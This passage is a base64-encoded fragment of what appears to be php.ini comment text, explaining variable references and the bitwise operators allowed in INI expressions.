HByZXZpb3VzbHkgc2V0IHZhcmlhYmxlIG9yIGRpcmVjdGl2ZSAoZS5nLiAke2Zvb30pCgo7IEV4cHJlc3Npb25zIGluIHRoZSBJTkkgZmlsZSBhcmUgbGltaXRlZCB0byBiaXR3aXNlIG9wZXJhdG9ycyBhbmQgcGFyZW50aGVzZXM6CjsgfCAgYml0d2lzZSBPUgo7IF4gIGJpdHdpc2UgWE9SCjsgJmFtcDsgIGJpdHdpc2UgQU5ECjsgfiAgYml0d2lzZSBOT1QKOyAhICBib29sZWFuIE5PVAoKOyBCb29sZWFuIGZsYWdzIGNhbiB